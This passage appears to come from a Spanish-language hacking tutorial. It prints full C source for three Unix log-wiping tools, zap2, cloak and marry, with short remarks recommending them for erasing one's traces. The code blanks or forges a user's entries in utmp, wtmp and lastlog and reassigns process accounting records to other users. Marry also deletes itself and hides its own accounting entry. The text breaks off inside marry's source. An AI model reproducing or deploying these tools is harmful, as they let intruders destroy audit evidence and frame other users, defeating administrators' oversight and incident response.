#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
   struct utmp utmp_ent;

  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
    while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
      if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
            bzero((char *)&utmp_ent,sizeof( utmp_ent ));
            lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
            write (f, &utmp_ent, sizeof (utmp_ent));
         }
    close(f);
  }
}

void kill_wtmp(who)
char *who;
{
   struct utmp utmp_ent;
   long pos;
```

```
    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0) {

     while(pos != -1L) {
        lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
        if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
          pos = -1L;
        } else {
          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
               bzero((char *)&utmp_ent,sizeof(struct utmp ));
               lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
               write (f, &utmp_ent, sizeof (utmp_ent));
               pos = -1L;
          } else pos += 1L;
        }
     }
     close(f);
  }
}

void kill_lastlog(who)
char *who;
{
    struct passwd *pwd;
    struct lastlog newll;

     if ((pwd=getpwnam(who))!=NULL) {

        if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
           lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
           bzero((char *)&newll,sizeof( newll ));
           write(f, (char *)&newll, sizeof( newll ));
           close(f);
        }

    } else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
    if (argc==2) {
        kill_lastlog(argv[1]);
        kill_wtmp(argv[1]);
        kill_utmp(argv[1]);
        printf("Zap2!\n");
    } else
    printf("Now...that was as bad as shit!\n");
}
```

Bien, ya he puesto el zap2.. ahora pongo el cloak que es el que hay que usar ya que borra mejor las huellas y ademas se encarga del acct:

```
/*
 *      C L O A K
 *
 *      Wrap yourself in a cloak of darkness (heh heh heh).
 *
```

```
 *      Michael S. Baldwin,  Matthew Diaz  1982
 *
 *      Marcus J. Ranum - 1983 - complete re-write and munging
 *      added more options, and all kinds of evil - including the
 *      ability to vanish from wtmp and acct as well as utmp. Added more
 *      error checking and useful command syntax. Now you can attribute
 *      all *YOUR* CPU usage to others when playing hack !!!
 *
 */


#include <stdio.h>
#include <sys/types.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#include <sys/file.h>
#include <sys/acct.h>

/* set these guys. If you're sysV a port should be easy */
#define UTMP    "/etc/utmp"
#define WTMP    "/usr/adm/wtmp"
#define LAST    "/usr/adm/lastlog"
#define ACCT    "/usr/adm/acct"


main(ac,av)
int     ac;
char    *av[];
{
        char    *tp     = "";
        char    *un     = "";
        char    *hn     = "";
        char    *pn     = "";
        long    newt    = 0L;
        int     wflg    = 0;
        int     aflg    = 0;
        int     refs    = 1;
        int     x;              /* klunch */
        char    *p;
        extern  char    *index();
        extern  time_t  time();

        for(x = 1; x < ac; x++) {
                if(av[x][0] == '-')
                        switch(av[x][1]) {
                                case 'u':       /* username to be :-) */
                                if((x + 1) < ac)
                                        un = av[++x];
                                break;

                                        case 't':       /* tty slot to be on :-) */
                                if((x + 1) < ac)
                                        tp = av[++x];
                                break;

                                        case 'h':       /* host name to be on :-) */
                                if((x + 1) < ac)
                                        hn = av[++x];
                                break;

                                        case 'r':       /* # of refs to zap :-) */
                                if((x + 1) < ac)
                                        refs = atoi(av[++x]);
                                break;
```

```
                        case 's':
                    execl("/bin/sh","sh",0);
                    perror("exec");
                    exit(1);

                        case 'w':       /* vanish from wtmp, too */
                    wflg++;
                    break;

                        case 'a':       /* vanish from acct, too */
                    aflg++;
                    break;

                        case 'p':       /* specific program for acct */
                    if((x + 1) < ac)
                        pn = av[++x];
                    break;

                        case 'l':       /* log on time */
                    if((x + 1) >= ac)
                        break;
                    newt = atoi(p = av[++x]);
                    if(p = index(p,':'))  {
                        newt *= 60;
                        newt += ((newt > 0) ? 1 : -1) *
atoi(++p);
                                        }
                    newt *= 60;
                    newt += time((long *)0L);
                    break;

                        default:
                    exit(usage());
                        }

            }

        if(wflg && wtmpzap(tp,un,hn,newt,refs))
            perror(av[0]);

        if(aflg && acctzap(un,pn))
            perror(av[0]);

        if(utmpzap(tp,un,hn,newt)) {
            perror(av[0]);
            exit(1);
              }

        if(lastzap(tp,un,hn,newt)) {
            perror(av[0]);
            exit(1);
              }

        exit(0);
      }

utmpzap(tt,un,hn,tim)
char    *tt;
char    *un;
char    *hn;
long    tim;
{
        int     fd;
        int     slot;
        struct  utmp    ubuf;
        extern  time_t  time();
```

```
        extern  char    *strncpy();
        extern  long    lseek();

        if((slot = ttyslot()) == 0) {
                (void)fprintf(stderr,"No tty slot");
                return(-1);
                  }

        if((fd = open(UTMP,O_RDWR)) == -1 )
                return(-1);

        if(lseek(fd,(long)(slot * sizeof(ubuf)),0) < 0) {
                (void)close(fd);
                return(-1);
                  }

        if(read(fd,(char *)&ubuf,sizeof(ubuf)) != sizeof(ubuf)) {
                (void)close(fd);
                return(-1);
                  }

        if(tim)
                ubuf.ut_time = tim;
        else
                ubuf.ut_time = time((long *)0L);

        (void)strncpy(ubuf.ut_name,un,sizeof(ubuf.ut_name));

        if(!tt[0] == '\0')
                (void)strncpy(ubuf.ut_line,tt,sizeof(ubuf.ut_line));
                (void)strncpy(ubuf.ut_host,hn,sizeof(ubuf.ut_host));

        if(lseek(fd,(long)(-sizeof(ubuf)), 1) < 0) {
                (void)close(fd);
                return(-1);
                  }

        if(write(fd,(char *)&ubuf,sizeof(ubuf)) != sizeof(ubuf)) {
                (void)close(fd);
                return(-1);
                  }

        return(close(fd));
      }

wtmpzap(tt,un,hn,tim,refs)
char    *tt;
char    *un;
char    *hn;
long    tim;
int     refs;
{
        int     fd;
        char    *p;
        char    tbuf[40];
        struct  utmp    ubuf;
        extern  char    *strncpy();
        extern  char    *strcpy();
        extern  char    *rindex();
        extern  char    *ttyname();
        extern  long    lseek();
        extern  time_t  time();

        if((p = ttyname(0)) != NULL)
                (void)strcpy(tbuf,p);
        else
```

```
        return(0);

    /* figure out our device name */
    p = rindex(tbuf,'/');
    if(p == NULL)
        p = tbuf;
    else
        p++;


    if((fd = open(WTMP,O_RDWR)) == -1 )
        return(-1);

    if(lseek(fd,0L,2) < 0)
        return(-1);


    /* this is gross, but I haven't a better idea how it can */
    /* be done - so who cares ? */

    while(refs) {
        if((lseek(fd,(long)(-sizeof(ubuf)),1)) < 0) {
            (void)close(fd);
            return(0);
                }

        if(read(fd,(char *)&ubuf,sizeof(ubuf)) != sizeof(ubuf)) {
            (void)close(fd);
            return(0);
                }
        if(!strcmp(p,ubuf.ut_line)) {
            if(tim)
                ubuf.ut_time = tim;
            else
                ubuf.ut_time = time((long *)0L);

            (void)strncpy(ubuf.ut_name,un,sizeof(ubuf.ut_name));
            (void)strncpy(ubuf.ut_host,hn,sizeof(ubuf.ut_host));

            if(!tt[0] == '\0')

(void)strncpy(ubuf.ut_line,tt,sizeof(ubuf.ut_line));

            if(lseek(fd,(long)(-sizeof(ubuf)),1) < 0) {
                (void)close(fd);
                return(0);
                        }

            if(write(fd,(char *)&ubuf,sizeof(ubuf)) !=
sizeof(ubuf)){
                (void)close(fd);
                return(0);
                        }

            if(lseek(fd,(long)(-sizeof(ubuf)),1) < 0) {
                (void)close(fd);
                return(0);
                        }

            refs--;
  }

        if(lseek(fd,(long)(-sizeof(ubuf)),1) < 0) {
            (void)close(fd);
            return(0);
  }
```

```
  }

      return(close(fd));
  }

acctzap(un,pn)
char    *un;
char    *pn;
{
      int     fd;
      int     faku =0;
      int     realu;
      struct  acct    actbuf;
      struct  passwd  *pwt;
      extern  struct  passwd  *getpwnam();

      if((fd = open(ACCT,O_RDWR)) == -1 )
            return(-1);

      realu = getuid();

      if(un[0] != '\0' && ((pwt = getpwnam(un)) != NULL))
            faku = pwt->pw_uid;

      while(1) {
            if(read(fd,(char *)&actbuf,sizeof(actbuf)) != sizeof(actbuf)) {
                  (void)close(fd);
                  return(0);
                        }

            if(realu == actbuf.ac_uid) {

                  /* only zap a specific program to user */
                  if(pn[0] != '\0' && strcmp(pn,actbuf.ac_comm))
                        continue;

                  actbuf.ac_uid = faku;
                  actbuf.ac_flag &= ~ASU;
                  if(lseek(fd,(long)(-sizeof(actbuf)),1) < 0) {
                        (void)close(fd);
                        return(0);
                              }

                  if(write(fd,(char *)&actbuf,sizeof(actbuf)) !=
sizeof(actbuf)){
                        (void)close(fd);
                        return(0);
                              }
                        }
                  }
            }
    }

usage()
{
#ifdef USAGE
      (void)fprintf(stderr,"usage: cloak <options>\n");
      (void)fprintf(stderr,"options are:\t-l <+->hh:mm (login time)\n");
      (void)fprintf(stderr,"\t\t-u username\t\t\t-t ttyname\n");
      (void)fprintf(stderr,"\t\t-w (clobber wtmp)\t\t-r #of refs to
clobber\n");
      (void)fprintf(stderr,"\t\t-h host\t\t-a (clobber accounting)\n");
      (void)fprintf(stderr,"\t\t-p program (attribute only program to
acct)\n");
      (void)fprintf(stderr,"(no args causes a simple vanishing act)\n");
#endif
```

```
        return(1);
      }

lastzap(tt,un,hn,tim)
char    *tt;
char    *un;
char    *hn;
long    tim;
{
        int     fd;
        int     uid;
        struct  lastlog lbuf;
        extern  time_t  time();
        extern  char    *strncpy();
        extern  long    lseek();

        uid = getuid();

        if((fd = open(LAST,O_RDWR)) == -1 )
                return(-1);

        if(lseek(fd,(long)(uid * sizeof(lbuf)),0) < 0) {
                (void)close(fd);
                return(-1);
                  }

        if(read(fd,(char *)&lbuf,sizeof(lbuf)) != sizeof(lbuf)) {
                (void)close(fd);
                return(-1);
                  }

        if(tim)
                lbuf.ll_time = tim;
        else
                lbuf.ll_time = time((long *)0L);

        if(!tt[0] == '\0')
                (void)strncpy(lbuf.ll_line,tt,sizeof(lbuf.ll_line));
        (void)strncpy(lbuf.ll_host,hn,sizeof(lbuf.ll_host));

        if(lseek(fd,(long)(-sizeof(lbuf)), 1) < 0) {
                (void)close(fd);
                return(-1);
                  }

        if(write(fd,(char *)&lbuf,sizeof(lbuf)) != sizeof(lbuf)) {
                (void)close(fd);
                return(-1);
                  }

        return(close(fd));
      }
}
```

Ademas de estos, habria ke mencionar otros como el wipe, marry, remove, clean, etc... algunos de los kuales estan bastante bien. Adjunto tambien el marry ya ke ofrece algunas posibilidades interesantes y se usa bastante (borra tambien acct):

```
/* marry v1.1 (c) 1991 -- Proff -- proff@suburbia.apana.org.au,
 * All rights reserved.
 *
 * May there be peace in the world, and objectivity amoung men.
```

```
 *
 * You may not use this program for unethical purposes.
 *
 * You may not use this program in relation to your employment, or for monetary
 * gain without express permission from the author.
 *
 * usage:
 *   marry [-aetsuScDn] [-i src] [-o obj] [-d dump] [-p pat] [-v pat] [-m [WLA]]
 *         [-E editor] [-h program] [-b backup ]
 *
 *   -a              automode, dump, run editor over dump and re-assemble to object
 *   -e              edit source, assemble directly to input file, imples no insertion
 *             of records before an equal quantity of deltion
 *   -t              truncate object to last line of dump source when assembling
 *   -s              squeeze, delete all record in input not occuring in dump
 *             (higher entries in input will be appended unless -t is also
 *             specified)
 *   -u    when in [L]astlog mode do user-id -> name lookups (time consuming)
 *   -S              Security, when in [A]cct and -[a]uto mode replace editor's acct
 *             record with an unmodified random previous entry, detach from
 *             terminal, SIGKILL ourselves or execlp [-h program] to hide our
 *             acct record (marry should be exec'ed under these circumstances)
 *   -c              clean, delete backup and dump files once complete
 *   -D              Delete our self once complete (i.e argv[0])
 *   -n              no backups, don't make backups when in -e, -a modes or when
 *             -i file == -o file
 *   -i src          input, the utmp, wtmp, lastlog or p/acct file concerned. defaults
 *             to the system wtmp/lastlog/pacct depending on mode if not specified
 *   -o obj    output, the dump assembled and input merged version of the
 *             above. if given and not in -[a]uto mode, implies we are
 *             assembling, not dumping.
 *   -d dump       dump, the dump (editable representation of src) file name. this
 *             is is either an input (-o specified) an output (no -o) or both
 *             -[a]uto. defaults to "marry.dmp" in the current directory if not
 *             specified
 *   -p pat    pattern match. When disassembling (dumping), only extract records
 *             which match (checked against all string fields, and the uid if
 *             the pattern is a valid username)
 *   -v pat          inverse pattern match. like egrep -v. above non-logic features.
 *   -m mode       mode is one of:
 *
 *                           W  -  utmp/wtmp (or utmpx/wtmpx see UTMPX #define)
 *                 L  -  lastlog
 *                 A  -  acct/pacct
 *
 *   -E editor       editor to be used in -[a]uto mode. defaults to /usr/bin/vi. must
 *             be the full path in -[S]ecurity mode (we do some clever
 *             symlinking)
 *   -h program hide, if -S mode is on, then attempt to conceal our acct entry by
 *             execlp'ing the specified program. this seems to work on BSD derived
 *             systems. with others, your might want to just call marry something
 *             innocous.
 *   -b backup  name of backup file, defaults to "marry.bak"
 *
 *   the following instruction codes can be placed in position one of the dump
 *   lines to be assembled (e.g "0057a" -> "=057a"):
 *
 *   '='    tag modification of entry.
 *   '+'    tag insertion of entry
 *
 * Examples:
 *
 * $ marry -mW -i /etc/utmp -s -a            # dump, edit, re-assemble and strip deleted
 *                             # entries from utmp
 *
 * $ marry -mL -u -a -n -e                 # dump lastlog with usernames, edit, make no
```

```
 *                              # backups and re-assemble in-situ directly to
 *                              # lastlog
 *
 * $ marry -mW -a -p mil -E emacs        # dump all wtmp entries matching "mil", edit
 *                              # with emacs, re-assemble and re-write to wtmp
 *
 * $ exec marry -mA -SceD                # dump all acct entries by root, edit, remove
 *     -h /usr/sbin/in.fingerd         # editor's acct record, re-assemble directly
 *     -p root -a -i /var/account/acct  # to acct in-situ, delete backup and dump file,
 *                              # delete ourself from the disk, unassign our
 *                              # controling terminal, and lastly overlay our
 *                              # self (and thus our to be acct record) with
 *                              # in.fingerd
 */

#define UTMP
#undef UTMPX /* solaris has both */
#define LASTLOG
#define PACCT

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <signal.h>
#include <pwd.h>
#include <grp.h>
#include <errno.h>

#ifdef __SVR3
#  include <getopts.h>
#endif
#ifndef bsd
#  if defined(__NetBSD__) || defined(bsdi) || defined(BSDI) || defined(__386BSD__)
#    define bsd
#  endif
#endif

#if !defined(gcc)
#  define NO_VOID /* non gcc, early compiliers */
#endif

#ifndef __SVR3
extern char *optarg;
#endif

#ifdef NO_VOID
#  define VOID int
#  define FVOID
#else
#  define VOID void
#  define FVOID void
#endif

#ifndef bool
#  define bool char
#endif

#define match(a,b) (match_s((a), (b), sizeof(a)))

#ifdef UTMP
```

```
  #ifdef UTMPX
#  include <utmpx.h>
#  define S_UTMP utmpx
#  define UT_HOST ut_host
#  define UT_ID ut_id
#  define UT_TYPE ut_type
#  define UT_PID ut_pid
#  define UT_TV ut_tv
#  ifdef _PATH_WTMPX
#    define WTMP_FILE _PATH_WTMPX
#  else
#    ifdef WTMPX_FILE
#      define WTMP_FILE WTMPX_FILE
#    else
#      define WTMP_FILE "/usr/adm/wtmpx"
#    endif
#  endif
#else
#  include <utmp.h>
#  define S_UTMP utmp
#  ifndef WTMP_FILE
#    ifdef _PATH_WTMP
#      define WTMP_FILE _PATH_WTMP
#    else
#      define WTMP_FILE "/usr/adm/wtmp"
#    endif
#  endif
#  if !defined(ut_name) && !defined(ut_user)
#    define ut_user ut_name
#  endif
#  if defined(linux) || defined(bsd) || defined(sun)
#    define UT_HOST ut_host
#  endif
#  ifdef linux
#    define UT_ADDR ut_addr
#  endif
#  define UT_TIME ut_time
#  if defined(linux) || defined(solaris)
#    define UT_PID  ut_pid
#    define UT_ID   ut_id
#  endif
#  if defined(linux) || defined(solaris) || defined(sysv) || defined(SYSV) || defined(SVR4)
#    define UT_TYPE ut_type
#  endif
#endif
#endif

#ifdef LASTLOG
#  ifdef bsd
#    ifndef UTMP
#      include <utmp.h>
#    endif
#  else
#    include <lastlog.h>
#  endif
#  ifndef LASTLOG_FILE
#    ifdef _PATH_LASTLOG
#      define LASTLOG_FILE _PATH_LASTLOG
#    else
#      define LASTLOG_FILE "/usr/adm/lastlog"
#    endif
#  endif
#  define LL_HOST ll_host
#endif

#ifdef PACCT
```

```
#  include <sys/acct.h>
#  ifdef bsd
#    define PACCT_FILE "/var/account/acct"
#  else
#    define PACCT_FILE "/usr/adm/pacct"
#  endif
#endif

#ifdef UT_ADDR
#  include <arpa/inet.h>
#endif

FILE *ofh, *ifh, *afh;

#ifdef UTMP
struct S_UTMP s_utmp;
#endif
#ifdef LASTLOG
struct lastlog s_lastlog;
#endif
#ifdef PACCT
struct acct s_acct;
struct acct ac_saved;
int acct_step;
#endif
char ac_comm_hide[32];

struct passwd *uid;
struct passwd uid_s;
char **uida=NULL;
char **gida=NULL;

#define MAX_UID 65537

char *quotes="\"\'";

int globline=0;

char *a_Input=NULL;
char *a_Output=NULL;
char *a_Pattern=NULL;
char *a_Hide=NULL;
#ifdef sun
char *a_Editor="/usr/ucb/vi";
#else
char *a_Editor="/usr/bin/vi";
#endif
char *a_Dump="marry.dmp";
char *a_Backup="marry.bak";
bool f_Auto=0;
bool f_Squeeze=0;
bool f_EditSrc=0;
bool f_Truncate=0;
bool f_Exclude=0;
bool f_Uid=0;
bool f_Security=0;
bool f_Clean=0;
bool f_DeleteSelf=0;
bool f_NoBackups=0;
bool f_backedup;
char mode;

int mode_size=0;
void *mode_data;

int globline;
```

```
   char *mes;
time_t otime=0;
FVOID display()
{
static int n;
time_t t;
        globline++;
        if (n++<30) return; /* don't want too many context switches */
        n=0;
        time(&t);
        if (t<(otime+1)) return;
        otime=t;
        printf("%s%d\r", mes, globline);
        fflush(stdout);
}
FVOID display_end()
{
        printf("%s%d\n", mes, globline);
        fflush(stdout);
}

#ifdef NO_VOID
char
#else
void
#endif
*
Smalloc(n)
int n;
{
#ifdef NO_VOID
char
#else
void
#endif
* p;
        while (!(p=malloc(n))) sleep(1);
        return p;
}

bool copyf(src, dst)
char *src;
char *dst;
{
#define CBUFLEN 128*1024
int fi, fo;
char *buf;
int cc;
        if ((fi=open(src, O_RDONLY, 0))<0)
        {
                perror(src);
                exit(1);
        }
        if ((fo=open(dst, O_WRONLY|O_CREAT|O_TRUNC, 0666))<0)
        {
                perror(dst);
                exit(1);
        }
        buf=Smalloc(CBUFLEN);
        while ((cc=read(fi, buf, CBUFLEN))>0)
                if (write(fo, buf, cc)!=cc)
                {
                        perror(dst);
                        exit(1);
                }
        close(fo);
```

```
	close(fi);
	free(buf);
	return 1;
}

bool backup(src)
char *src;
{
	printf("backup = %s\n", a_Backup);
	fflush(stdout);
	return copyf(src, a_Backup);
}

char *match_s(haystack, needle, n)
char *haystack;
char *needle;
int n;
{
static char tmp[256];
	strncpy(tmp, haystack, n>sizeof(tmp)? sizeof(tmp): n);
	return strstr(tmp, needle);
}

unsigned short atoi2(s)
char *s;
{
	return (s[0]-'0')*10+(s[1]-'0');
}

char *p_string(s, size)
char *s;
int size;
{
static char sss[1024];
register int n;
char *ss=sss;
	if (!*s) return quotes;

	for (n=0; n<size; n++)
	{
		char c=s[n];
		switch (c)
		{
		case '\\':
			*(ss++)=c;
			break;
		case ' ':
			*(ss++)='\\';
			break;
		case '\t':
			*(ss++)='\\';
			c='t';
			break;
		case '\n':
			*(ss++)='\\';
			c='n';
			break;
		case '\r':
			*(ss++)='\\';
			c='r';
			break;
		case 0:
			goto end;
		}
		*(ss++)=c;
	}
```

```
   end:
        *ss=0;
        return sss;
}

char *skip_white(s)
char *s;
{       for (; *s && (*s=='\t' || *s==' '); s++);
        if (!*s || (*s=='\n')) return NULL;
        return s;
}

char *g_string(d, s, size)
char *d;
char *s;
int size;
{
int y;
char c;
char f_esc=0;
        for (y=0; y<size; y++) d[y]=0;
        if (!(s=skip_white(s))) return NULL;
        if (*s=='"' && *(s+1)=='"') return s+2;
        for (y=0; y<size; s++)
        {
                c=*s;
                if (f_esc)
                {
                        switch(c)
                        {
                        case 'r':
                                c='\r';
                                break;
                        case 'n':
                                c='\n';
                                break;
                        case 't':
                                c='\t';
                                break;
                        }
                        f_esc=0;
                } else {
                        switch(c)
                        {
                        case '\\':
                                f_esc=1;
                                continue;
                        case ' ':
                        case '\t':
                        case '\n':
                        case '\0':
                                goto end;
                        }
                }
                d[y++]=c;
        }
end:
        return s+1;
}

char *time_s(tt)
time_t tt;
{
static char s[13];
        time_t t=tt; /* some compilers won't take a parameter address */
        struct tm *tp;
```

```
	tp=localtime(&t);
	sprintf(s, "%02d%02d%02d%02d%02d%02d",
		tp->tm_year, tp->tm_mon+1, tp->tm_mday,
		tp->tm_hour, tp->tm_min, tp->tm_sec);
	return s;
}

time_t time_i(s)
char *s;
{
	struct tm lt;
	time_t t;
	if (strlen(s)!=12) return (time_t)-1;
	time(&t);
	lt=*localtime(&t);
	lt.tm_year=atoi2(s);
	lt.tm_mon=atoi2(s+2)-1;
	lt.tm_mday=atoi2(s+4);
	lt.tm_hour=atoi2(s+6);
	lt.tm_min=atoi2(s+8);
	lt.tm_sec=atoi2(s+10);
	lt.tm_isdst=-1;
	return mktime(&lt);
}

char *
bgetgrgid(u)
gid_t u;
{
struct group *gr;
	if (!gida)
	{
		int n;
		gida=(char **)Smalloc(sizeof(char *)*MAX_UID);
		for (n=0; n<MAX_UID; n++) gida[n]=NULL;
	}
	if (gida[u]==(char *)-1) return NULL;
	if (gida[u]) return gida[u];
	if (!(gr=getgrgid(u)))
	{
		gida[u]=(char *)-1;
		return NULL;
	}
	gida[u]=Smalloc(strlen(gr->gr_name)+1);
	strcpy(gida[u], gr->gr_name);
	return gida[u];
}

char *
bgetpwuid(u)
uid_t u;
{
struct passwd *pw;
	if (!uida)
	{
		int n;
		uida=(char **)Smalloc(sizeof(struct passwd *)*MAX_UID);
		for (n=0; n<MAX_UID; n++) uida[n]=NULL;
	}
	if (uida[u]==(char *)-1) return NULL;
	if (uida[u]) return uida[u];
	if (!(pw=getpwuid(u)))
	{
		uida[u]=(char *)-1;
		return NULL;
	}
```

```
            uida[u]=Smalloc(strlen(pw->pw_name)+1);
        strcpy(uida[u], pw->pw_name);
        return uida[u];
}

#ifdef UTMP
bool dump_utmp(uline, ut)
int uline;
struct S_UTMP *ut;
{
        time_t tim;
        if (a_Pattern)
        {
                if (!match(ut->ut_user, a_Pattern) &&
                    !match(ut->ut_line, a_Pattern)
#ifdef UT_HOST
                    && !match(ut->UT_HOST, a_Pattern)
#endif
                                ) {if (!f_Exclude) return 1;}
                else if (f_Exclude) return 1;
         }
        fprintf(afh, "%05x", uline-1);
        fprintf(afh, " %-8s", p_string(ut->ut_user, sizeof(ut->ut_user)));
        fprintf(afh, " %-11s", p_string(ut->ut_line, sizeof(ut->ut_line)));
#ifdef UT_ID
        fprintf(afh, " %-4s", p_string(ut->UT_ID, sizeof(ut->UT_ID)));
#endif
#ifdef UT_TYPE
        fprintf(afh, " %-2x", ut->UT_TYPE);
#endif
#ifdef UT_PID
        fprintf(afh, " %-5d", (int)ut->UT_PID);
#endif
#if defined(UT_TIME) || defined (UT_TV)
#  ifdef UT_TIME
        tim=ut->UT_TIME;
#  else
        tim=ut->UT_TV.tv_sec;
#  endif
        fprintf(afh, " %s", time_s(tim));
#endif
#ifdef UT_ADDR
        fprintf(afh, " %-15s", inet_ntoa(*((struct in_addr *)&ut->UT_ADDR)));
#endif
#ifdef UT_HOST
        fprintf(afh, " %s", p_string(ut->UT_HOST, sizeof(ut->UT_HOST)));
#endif
        fputc('\n', afh);
        return 1;
}
#endif

#ifdef LASTLOG
bool dump_lastlog(uline, ll)
int uline;
struct lastlog *ll;
{
        char *name;
        struct passwd *pw;
        if (f_Uid)
        {
                pw=getpwuid(uline-1);
                name=pw? pw->pw_name: quotes;
        } else
        {
          static char s[6];
```

```
                sprintf(s, "%05d", uline-1);
                name=s;
        }
        if (a_Pattern)
        {
                if (
                   (!uid || (uid->pw_uid!=(uline-1))) &&
                   (!f_Uid || strstr(name, a_Pattern)) &&
#ifdef LL_HOST
                   !match(ll->ll_host, a_Pattern) &&
#endif
                   !match(ll->ll_line, a_Pattern)
                        ) {if (!f_Exclude) return 1;}
                else if (f_Exclude) return 1;
         }
        fprintf(afh, "%05x", uline-1);
        fprintf(afh, " %-8s", name);
        fprintf(afh, " %-11s", p_string(ll->ll_line, sizeof(ll->ll_line)));
        fprintf(afh, " %s", time_s(ll->ll_time));
#ifdef LL_HOST
        fprintf(afh, " %s", p_string(ll->LL_HOST, sizeof(ll->LL_HOST)));
#endif
        fputc('\n', afh);
        return 1;
}
#endif

#ifdef PACCT
bool dump_pacct(uline, ac)
int uline;
struct acct *ac;
{
        char *name;
        char *gr_name;
        if (!(name=bgetpwuid(ac->ac_uid)))
        {
          static char s[6];
                sprintf(s, "%05d", ac->ac_uid);
                name=s;
        }
        if (!(gr_name=bgetgrgid(ac->ac_gid)))
        {
          static char s[6];
                sprintf(s, "%05d", ac->ac_gid);
                gr_name=s;
        }
        if (a_Pattern)
        {
                if (
                   (!uid || (uid->pw_uid!=ac->ac_uid)) &&
                   (strstr(name, a_Pattern)) &&
                   (strstr(gr_name, a_Pattern))
                        ) {if (!f_Exclude) return 1;}
                else if (f_Exclude) return 1;
        }
        fprintf(afh, "%05x", uline-1);
        fprintf(afh, " %-8s", name);
        fprintf(afh, " %-8s", gr_name);
        fprintf(afh, " %-10s", p_string(ac->ac_comm, sizeof(ac->ac_comm)));
        if (ac->ac_tty==(dev_t)-1)
                fputs(" ----", afh);
        else
                fprintf(afh, " %04x", ac->ac_tty);
        fprintf(afh, " %2x", ac->ac_flag);
        fprintf(afh, " %s", time_s(ac->ac_btime));
        fputc('\n', afh);
```

```
		return 1;
}
#endif

FVOID makedump()
{
int uline;
	if ((ifh=fopen(a_Input, "r"))==NULL)
	{
		perror(a_Input);
		exit(1);
	}
	if ((afh=fopen(a_Dump, "w"))==NULL)
	{
		perror(a_Dump);
		exit(1);
	}
	fputc('\n', stdout);
	globline=0;
	mes="entries disassembled: ";
	for (uline=1; fread(mode_data, mode_size, 1, ifh)>0; uline++)
	{
		display();
		switch(mode)
		{
#ifdef UTMP
		case 'W':
			dump_utmp(uline, mode_data);
			break;
#endif
#ifdef LASTLOG
		case 'L':
			dump_lastlog(uline, mode_data);
			break;
#endif
#ifdef PACCT
		case 'A':
			dump_pacct(uline, mode_data);
			break;
#endif
		}
	}
	display_end();
	fclose(afh);
	fclose(ifh);
}

int seek_ifh(uline)
int uline;
{
	if (ftell(ifh)!=mode_size*(uline-1))
		if (fseek(ifh, mode_size*(uline-1), SEEK_SET)==-1)
			return 0;
	return 1;
}

#ifdef UTMP
int mod_utmp(ut, p)
struct S_UTMP *ut;
char *p;
{
	char *op;
static char tmp[255];
#if defined(UT_TIME) || defined(UT_TV)
#endif
	op=p;
```

```
        if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
        if (!(p=g_string(ut->ut_user, p, sizeof(ut->ut_user)))) return 0;
        if (!(p=g_string(ut->ut_line, p, sizeof(ut->ut_line)))) return 0;
#ifdef UT_ID
        if (!(p=g_string(ut->UT_ID, p, sizeof(ut->UT_ID)))) return 0;
#endif
#ifdef UT_TYPE
        if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
        sscanf(tmp, "%x", (unsigned int *)&(ut->UT_TYPE));
#endif
#ifdef UT_PID
        if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
        ut->UT_PID=atoi(tmp);
#endif
#if defined(UT_TIME) || defined(UT_TV)
        if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
#  ifdef UT_TIME
        if ((ut->UT_TIME=time_i(tmp))==(time_t)-1)
#  else /* UT_TV */
        if ((ut->UT_TV.tv_sec=time_i(tmp))==(time_t)-1)
#  endif
                fprintf(stderr, "warning: invalid time spec %s", op);
#endif
#ifdef UT_ADDR
        if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
        ut->UT_ADDR=inet_addr(tmp);
#endif
#ifdef UT_HOST
        if (!(p=g_string(ut->UT_HOST, p, sizeof(ut->UT_HOST)))) return 0;
#endif
        return 1;
}
#endif

#ifdef LASTLOG
int mod_lastlog(ll, p)
struct lastlog *ll;
char *p;
{
        char *op;
static char tmp[255];
        op=p;
        if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
        if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; /*skip name*/
        if (!(p=g_string(ll->ll_line, p, sizeof(ll->ll_line)))) return 0;
        if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
        if ((ll->ll_time=time_i(tmp))==(time_t)-1)
                fprintf(stderr, "warning illegal time: %s\n", op);
#ifdef LL_HOST
        if (!(p=g_string(ll->ll_host, p, sizeof(ll->ll_host)))) return 0;
#endif
        return 1;
}
#endif

#ifdef PACCT
int mod_pacct(ac, p)
struct acct *ac;
char *p;
{
static char tmp[255];
struct passwd *pw;
struct group *gr;
char *op;
long int t;
unsigned int tu;
```

```
	   op=p;
	if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
	if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
	if (sscanf(tmp, "%ld", &t)!=1)
	{
		if (!(pw=getpwnam(tmp)))
			fprintf(stderr, "warning: unknown username %s\n", op);
		else
			ac->ac_uid=pw->pw_uid;
	} else ac->ac_uid=t;
	if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
	if (sscanf(tmp, "%ld", &t)!=1)
	{
		if (!(gr=getgrnam(tmp)))
			fprintf(stderr, "warning: unknown group %s\n", op);
		else
